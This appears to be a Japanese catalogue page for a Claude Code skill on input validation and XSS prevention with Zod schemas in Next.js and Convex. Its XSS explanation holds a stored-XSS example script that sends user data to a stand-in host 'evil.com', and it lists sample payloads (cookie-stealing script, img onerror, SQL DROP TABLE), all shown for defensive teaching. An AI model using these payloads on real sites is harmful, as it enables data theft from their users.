input-validation-xss-prevention について
Web アプリ向けの入力検証・XSS 防止スキルです。Zod スキーマでリクエストデータを検証・サニタイズし、一般的なフィールドやフォーム用の定義済みスキーマ 11 種類とヘルパーを提供します。
主な機能
- 01Zod の検証スキーマを 11 種類提供
- 02ユーザー入力の検証とサニタイズ
- 03メール、テキスト、URL の検査
- 04フォームとプロフィール用スキーマ
- 05検証エラーを整形して HTTP 400 を返却
活用シーン
- 01問い合わせフォームや登録データの検証
- 02プロフィール、コメント、投稿内容のサニタイズ
- 03URL、ID、ページネーションパラメーターの検査
- 04API ルートで無効なリクエストを拒否
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ harperaa/ secure-claude-skills --skill input-validation-xss-preventionインストール後、Claude Code で/input-validation-xss-preventionを入力して読み込まれたか確認します。
詳細
入力検証とXSS対策
Webセキュリティの普遍的な原則
ユーザー入力は決して信頼しないでください。 これはWebセキュリティの基本原則です。
大規模な情報漏えいは、どれも入力検証の不備が原因です。
- SQLインジェクション - Equifax(1億4700万件の記録)
- XSS - British Airways(38万件の取引、2000万ポンドの罰金)
- コマンドインジェクション - 数え切れないほどの事例
OWASPによると、インジェクションの脆弱性は一貫してWebアプリケーションにとって第1位または第2位の脅威です。入力検証は任意ではなく、不可欠です。
XSS(クロスサイトスクリプティング)を理解する
攻撃
攻撃者がプロフィール欄に次の内容を入力します。
<script>
fetch('/api/user')
.then(r=>r.json())
.then(d=>fetch('https://evil.com',{
method:'POST',
body:JSON.stringify(d)
}))
</script>
サニタイズしない場合、ほかのユーザーがこのプロフィールを表示したときに、次のことが起こります。
- スクリプトがユーザーのブラウザーで実行されます
- ユーザーデータが盗まれます
- 攻撃者のサーバーに送信されます
- 被害者は侵害されたことに気づきません
実際に起きたXSSの被害
British Airways(2018年): XSSの脆弱性により、攻撃者が決済カード情報を窃取するスクリプトを埋め込むことができました。38万件の取引が侵害され、GDPRに基づき2000万ポンドの罰金が科されました。
MySpace Samyワーム(2005年): XSSの脆弱性により、攻撃者を20時間で100万人以上のプロフィールの友達に追加する、自己増殖型スクリプトが実行されました。ほとんど無害な動作(友達を追加するだけ)でしたが、その手法の危険性を示しました。同じ手法で認証情報や決済データを盗むこともできたのです。
入力検証のアーキテクチャ
Zodを使う理由
従来の検証では正規表現や手作業によるチェックを使いますが、エラーが起きやすく、不完全なことも少なくありません。
Zodが提供する機能:
- ✅ 型安全な検証 - TypeScriptが有効な値を認識します
- ✅ 合成可能なスキーマ - 検証ロジックを再利用できます
- ✅ 自動変換 - サニタイズ機能が組み込まれています
- ✅ 分かりやすいエラーメッセージ - ユーザーが間違いを修正しやすくなります
- ✅ 実行時の型チェック - 本番環境で問題を検出します
サニタイズの方針
XSS攻撃を可能にする危険な文字を削除します。
<- 開始タグを防ぎます>- 終了タグを防ぎます"- 属性へのコード注入を防ぎます&- HTMLエンティティの注入を防ぎます
保持する文字:
'- アポストロフィ(O'Neal、D'Angelo、McDonald'sなどの名前に必要です)
特殊文字をすべて削除しない理由 すべて削除すると、「O'Neal」という名前のユーザーが自分の名前を入力できなくなるからです。セキュリティでは、安全性と使いやすさのバランスが必要です。
業界標準の検証方法
OWASPとNISTのガイドラインによると、安全な方法は次のとおりです。
- 検証(形式と型を確認する)
- サニタイズ(危険な内容を削除する)
- 出力時にエンコード(表示時にエスケープする)
この3つをすべて行います。
- Zodで形式を検証します
.transform()でサニタイズします- Reactが出力をエスケープします
実装ファイル
lib/validation.ts- 事前定義済みのZodスキーマ11個lib/validateRequest.ts- エラーを整形する検証ヘルパー
入力検証の使い方
基本パターン
import { validateRequest } from '@/lib/validateRequest';
import { safeTextSchema } from '@/lib/validation';
async function handler(request: NextRequest) {
const body = await request.json();
// Validate and sanitize
const validation = validateRequest(safeTextSchema, body);
if (!validation.success) {
return validation.response; // Returns 400 with field errors
}
// TypeScript knows exact shape, data is XSS-sanitized
const sanitizedData = validation.data;
// Safe to use
}
安全なAPIルートの完全な例
// app/api/create-post/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withRateLimit } from '@/lib/withRateLimit';
import { withCsrf } from '@/lib/withCsrf';
import { validateRequest } from '@/lib/validateRequest';
import { createPostSchema } from '@/lib/validation';
import { handleApiError, handleUnauthorizedError } from '@/lib/errorHandler';
import { auth } from '@clerk/nextjs/server';
async function createPostHandler(request: NextRequest) {
try {
// Authentication
const { userId } = await auth();
if (!userId) return handleUnauthorizedError();
const body = await request.json();
// Validation & Sanitization
const validation = validateRequest(createPostSchema, body);
if (!validation.success) {
return validation.response;
}
const { title, content, tags } = validation.data;
// Data is now:
// - Type-safe (TypeScript validated)
// - Sanitized (XSS characters removed)
// - Validated (length, format checked)
// Safe to store in database
await db.posts.insert({
title,
content,
tags,
userId,
createdAt: Date.now()
});
return NextResponse.json({ success: true });
} catch (error) {
return handleApiError(error, 'create-post');
}
}
export const POST = withRateLimit(withCsrf(createPostHandler));
export const config = {
runtime: 'nodejs',
};
利用可能な検証スキーマ
すべてのスキーマはlib/validation.tsにあります。
1. emailSchema
用途: メールアドレス
import { emailSchema } from '@/lib/validation';
const validation = validateRequest(emailSchema, userEmail);
if (!validation.success) return validation.response;
const email = validation.data; // Normalized, lowercase
機能:
- 有効なメールアドレス形式が必須です
- 小文字に正規化します
- 最大254文字です
- 前後の空白を削除します
2. safeTextSchema
用途: 短いテキスト項目(名前、タイトル、件名)
import { safeTextSchema } from '@/lib/validation';
const validation = validateRequest(safeTextSchema, inputText);
機能:
- 1文字以上、最大100文字です
< > " &を削除します'(アポストロフィ)は保持します- 前後の空白を削除します
3. safeLongTextSchema
用途: 長文テキスト(説明、自己紹介、コメント、メッセージ)
import { safeLongTextSchema } from '@/lib/validation';
const validation = validateRequest(safeLongTextSchema, description);
機能:
- 1文字以上、最大5000文字です
- safeTextSchemaと同じ方法でサニタイズします
- テキストエリアの内容に適しています
4. usernameSchema
用途: ユーザー名、スラッグ、識別子
import { usernameSchema } from '@/lib/validation';
const validation = validateRequest(usernameSchema, username);
機能:
- 英数字、アンダースコア、ハイフンのみ使用できます
- 3文字以上、最大30文字です
- 小文字のみ使用できます
- スペースや特殊文字は使用できません
5. urlSchema
用途: WebサイトのURL、リンク項目
import { urlSchema } from '@/lib/validation';
const validation = validateRequest(urlSchema, websiteUrl);
機能:
- 有効なURLである必要があります
- HTTPSのみ(セキュリティ要件)
- 最大2048文字です
- プロトコルとドメインを検証します
6. contactFormSchema
用途: お問い合わせフォーム全体
import { contactFormSchema } from '@/lib/validation';
const validation = validateRequest(contactFormSchema, formData);
if (!validation.success) return validation.response;
const { name, email, subject, message } = validation.data;
フィールド:
{
name: string, // safeTextSchema (1-100 chars)
email: string, // emailSchema
subject: string, // safeTextSchema (1-100 chars)
message: string // safeLongTextSchema (1-5000 chars)
}
7. createPostSchema
用途: ユーザーが作成するブログ投稿、記事
import { createPostSchema } from '@/lib/validation';
const validation = validateRequest(createPostSchema, postData);
if (!validation.success) return validation.response;
const { title, content, tags } = validation.data;
フィールド:
{
title: string, // safeTextSchema (1-100 chars)
content: string, // safeLongTextSchema (1-5000 chars)
tags: string[] | null // Array of safeText strings (optional)
}
8. updateProfileSchema
用途: プロフィールの更新
import { updateProfileSchema } from '@/lib/validation';
const validation = validateRequest(updateProfileSchema, profileData);
if (!validation.success) return validation.response;
const { displayName, bio, website } = validation.data;
フィールド:
{
displayName: string | null, // safeTextSchema (optional)
bio: string | null, // safeLongTextSchema (optional)
website: string | null // urlSchema (optional, HTTPS only)
}
9. idSchema
用途: データベース ID、参照フィールド
import { idSchema } from '@/lib/validation';
const validation = validateRequest(idSchema, itemId);
特徴:
- 空でない文字列
- 空白をトリミングします
- ID パラメーターの検証に使用します
10. positiveIntegerSchema
用途: 件数、数量、ページネーション
import { positiveIntegerSchema } from '@/lib/validation';
const validation = validateRequest(positiveIntegerSchema, quantity);
特徴:
- 整数のみ
- 正の値(> 0)である必要があります
- 小数は不可
11. paginationSchema
用途: ページネーションパラメーター
import { paginationSchema } from '@/lib/validation';
const validation = validateRequest(paginationSchema, {
page: queryParams.page,
limit: queryParams.limit
});
const { page, limit } = validation.data;
フィールド:
{
page: number, // Default: 1, Min: 1
limit: number // Default: 10, Min: 1, Max: 100
}
カスタムスキーマの作成
カスタムスキーマのテンプレート
// lib/validation.ts
import { z } from 'zod';
// Add your custom schema
export const myCustomSchema = z.object({
field: z.string()
.min(1, 'Required')
.max(200, 'Too long')
.trim()
.transform((val) => val.replace(/[<>"&]/g, '')), // XSS sanitization
});
export type MyCustomData = z.infer<typeof myCustomSchema>;
複雑なスキーマの例
// Registration form with multiple validations
export const registrationSchema = z.object({
username: usernameSchema,
email: emailSchema,
password: z.string()
.min(12, 'Password must be at least 12 characters')
.regex(/[A-Z]/, 'Must contain uppercase letter')
.regex(/[a-z]/, 'Must contain lowercase letter')
.regex(/[0-9]/, 'Must contain number')
.regex(/[^A-Za-z0-9]/, 'Must contain special character'),
passwordConfirm: z.string(),
agreeToTerms: z.boolean().refine(val => val === true, {
message: 'You must agree to terms'
})
}).refine((data) => data.password === data.passwordConfirm, {
message: "Passwords don't match",
path: ["passwordConfirm"]
});
条件付き検証
export const orderSchema = z.object({
orderType: z.enum(['pickup', 'delivery']),
address: z.string().optional(),
phone: z.string().optional()
}).refine(
(data) => {
if (data.orderType === 'delivery') {
return !!data.address && !!data.phone;
}
return true;
},
{
message: 'Address and phone required for delivery',
path: ['address']
}
);
フロントエンドの検証
クライアント側の事前検証
'use client';
import { useState } from 'react';
import { createPostSchema } from '@/lib/validation';
export function CreatePostForm() {
const [errors, setErrors] = useState<Record<string, string>>({});
async function handleSubmit(e: React.FormEvent<HTMLFormElement>) {
e.preventDefault();
setErrors({});
const formData = new FormData(e.currentTarget);
const data = {
title: formData.get('title'),
content: formData.get('content'),
tags: formData.get('tags')?.toString().split(',').filter(Boolean) || null
};
// Client-side validation (UX improvement, not security)
const validation = createPostSchema.safeParse(data);
if (!validation.success) {
const fieldErrors: Record<string, string> = {};
validation.error.errors.forEach((err) => {
if (err.path[0]) {
fieldErrors[err.path[0].toString()] = err.message;
}
});
setErrors(fieldErrors);
return;
}
// Submit to server (server validates again!)
try {
const response = await fetch('/api/posts', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(validation.data)
});
if (response.ok) {
alert('Post created!');
}
} catch (error) {
console.error('Error:', error);
}
}
return (
<form onSubmit={handleSubmit}>
<div>
<input name="title" placeholder="Title" />
{errors.title && <span className="error">{errors.title}</span>}
</div>
<div>
<textarea name="content" placeholder="Content" />
{errors.content && <span className="error">{errors.content}</span>}
</div>
<div>
<input name="tags" placeholder="Tags (comma separated)" />
{errors.tags && <span className="error">{errors.tags}</span>}
</div>
<button type="submit">Create Post</button>
</form>
);
}
重要: クライアント側の検証は UX のためだけのものです。必ずサーバー側でも検証してください。クライアント側の検証は回避される可能性があります。
攻撃シナリオと保護
攻撃 1:コメントを介した XSS
攻撃:
POST /api/comment
{
"content": "<script>alert(document.cookie)</script>"
}
保護:
const validation = validateRequest(safeLongTextSchema, body);
// Result: content = "alert(document.cookie)"
// < and > removed, script harmless
攻撃 2:SQL インジェクションの試み
攻撃:
POST /api/search
{
"query": "'; DROP TABLE users; --"
}
保護:
const validation = validateRequest(safeTextSchema, body);
// Result: query = "'; DROP TABLE users; --"
// Still contains SQL, but parameterized queries prevent execution
// Additionally, input length limited, special chars sanitized
注: SQL インジェクションを完全に防ぐには、データベース層でパラメーター化クエリーを使用してください。
攻撃 3:長い入力によるバッファーオーバーフロー
攻撃:
POST /api/profile
{
"bio": "A".repeat(1000000) // 1 million characters
}
保護:
const validation = validateRequest(updateProfileSchema, body);
// Result: Validation fails
// Error: "Bio must be at most 5000 characters"
// HTTP 400 returned before processing
攻撃 4:複数のフィールドへのスクリプトインジェクション
攻撃:
POST /api/contact
{
"name": "<script>evil()</script>",
"email": "[email protected]",
"subject": "<img src=x onerror=alert(1)>",
"message": "Normal message"
}
保護:
const validation = validateRequest(contactFormSchema, body);
// Results:
// name: "evil()"
// email: "[email protected]"
// subject: ""
// message: "Normal message"
// All dangerous tags removed automatically
入力検証のテスト
XSS サニタイズのテスト
# Test XSS in title
curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: <get-from-/api/csrf>" \
-d '{"title": "<script>alert(1)</script>"}'
# Expected: 200 OK, but title = "alert(1)"
検証エラーのテスト
# Test too-long input
curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: <get-from-/api/csrf>" \
-d "{\"title\": \"$(printf 'A%.0s' {1..200})\"}"
# Expected: 400 Bad Request
# {
# "error": "Validation failed",
# "details": {
# "title": "String must contain at most 100 character(s)"
# }
# }
メールアドレス検証のテスト
# Test invalid email
curl -X POST http://localhost:3000/api/contact \
-H "Content-Type: application/json" \
-d '{
"name": "Test",
"email": "not-an-email",
"subject": "Test",
"message": "Test"
}'
# Expected: 400 Bad Request
# { "error": "Validation failed", "details": { "email": "Invalid email" } }
エラーレスポンスの形式
検証に失敗すると、validateRequest() は次を返します。
{
error: "Validation failed",
details: {
fieldName: "Error message",
anotherField: "Another error"
}
}
HTTP ステータス:400 Bad Request
よく使われる検証パターン
パターン 1:オプションのフィールド
const schema = z.object({
required: safeTextSchema,
optional: safeTextSchema.optional(),
nullable: safeTextSchema.nullable(),
optionalWithDefault: safeTextSchema.default('default value')
});
パターン 2:配列の検証
const schema = z.object({
tags: z.array(safeTextSchema).max(10, 'Maximum 10 tags'),
categories: z.array(z.string()).min(1, 'At least one category required')
});
パターン 3:列挙値
const schema = z.object({
status: z.enum(['draft', 'published', 'archived']),
priority: z.enum(['low', 'medium', 'high'])
});
パターン 4:数値の範囲
const schema = z.object({
age: z.number().int().min(18).max(120),
rating: z.number().min(1).max(5),
price: z.number().positive()
});
パターン 5:日付の検証
const schema = z.object({
birthdate: z.string().datetime(),
appointmentDate: z.string().datetime()
.refine((date) => new Date(date) > new Date(), {
message: 'Appointment must be in the future'
})
});
Convex との統合
Convex を使用する場合は、ミューテーション内で必ず入力を検証してください。args をデータベースに直接挿入してはいけません。
Convex の基本的な検証パターン
// convex/posts.ts
import { mutation } from "./_generated/server";
import { createPostSchema } from "../lib/validation";
export const createPost = mutation({
handler: async (ctx, args) => {
// Validate with Zod
const validation = createPostSchema.safeParse(args);
if (!validation.success) {
throw new Error("Invalid input: " + validation.error.message);
}
// Use sanitized data
const { title, content, tags } = validation.data;
await ctx.db.insert("posts", {
title,
content,
tags,
userId: ctx.auth.userId,
createdAt: Date.now()
});
}
});
Convex での複数フィールドの検証
// convex/items.ts
import { mutation } from "./_generated/server";
import { safeTextSchema, safeLongTextSchema } from "../lib/validation";
export const createItem = mutation({
handler: async (ctx, args) => {
// Validate each field with appropriate schema
const titleValidation = safeTextSchema.safeParse(args.title);
const descValidation = safeLongTextSchema.safeParse(args.description);
if (!titleValidation.success || !descValidation.success) {
throw new Error("Invalid input");
}
// Use sanitized data
await ctx.db.insert("items", {
title: titleValidation.data,
description: descValidation.data,
userId: ctx.auth.userId, // From Clerk authentication
createdAt: Date.now()
});
}
});
アンチパターン:args の直接挿入(絶対にしないでください)
// ❌ BAD - Direct insertion without validation
export const createItem = mutation({
handler: async (ctx, args) => {
// VULNERABLE: args inserted directly without validation
await ctx.db.insert("items", args);
}
});
// ✅ GOOD - Validated and sanitized
export const createItem = mutation({
handler: async (ctx, args) => {
const validation = createItemSchema.safeParse(args);
if (!validation.success) {
throw new Error("Invalid input");
}
await ctx.db.insert("items", {
title: validation.data.title,
description: validation.data.description,
userId: ctx.auth.userId,
createdAt: Date.now()
});
}
});
Convex での検証が重要な理由
- フロントエンドの検証は回避される可能性があります - 攻撃者は Convex のミューテーションを直接呼び出せます
- Convex の関数は API です - 完全な検証を行う API ルートとして扱ってください
- 型安全性だけでは不十分です - TypeScript の型は XSS を防いだり、長さを検証したりしません
- 多層防御 - Next.js API で検証していても、Convex でも検証してください
入力検証で防げること
✅ クロスサイトスクリプティング(XSS) - 主な保護対象 ✅ SQL/NoSQL インジェクション - 長さ制限とサニタイズ ✅ コマンドインジェクション - 危険な文字を除去 ✅ テンプレートインジェクション - テンプレート構文をサニタイズ ✅ パストラバーサル - パスを検証し、../ を除去 ✅ バッファーオーバーフロー - 長さ制限を適用 ✅ 型の混同 - 正しいデータ型を適用 ✅ ビジネスロジックのエラー - 範囲と形式を検証
避けるべきよくある間違い
❌ 「内部 API だから」という理由で検証を省略しないでください
❌ クライアント側の検証だけに頼らないでください
❌ 検証せずに body.field を直接使用しないでください
❌ .replace() で手動サニタイズしないでください。Zod を使用してください
❌ 認証済みなら入力は安全だと思い込まないでください
❌ Convex のミューテーションでの検証を忘れないでください
✅ 認証済みユーザーからの入力も含め、すべてのユーザー入力を必ず検証してください ✅ lib/validation.ts の事前定義スキーマを使用してください ✅ 詳細な検証エラーを返してください(UX の向上に役立ちます) ✅ 検証をレート制限および CSRF 対策と組み合わせてください ✅ API ルートと Convex のミューテーションの両方で検証してください
参考資料
- OWASP 入力値検証チートシート:https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html
- OWASP XSS 防止:https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- Zod ドキュメント:https://zod.dev/
- OWASP Top 10 2021 - A03 インジェクション:https://owasp.org/Top10/A03_2021-Injection/
次のステップ
- CSRF 保護について:
csrf-protectionスキルを使用します - レート制限について:
rate-limitingスキルを使用します - 安全なエラー処理について:
error-handlingスキルを使用します - 入力値検証のテストについて:
security-testingスキルを使用します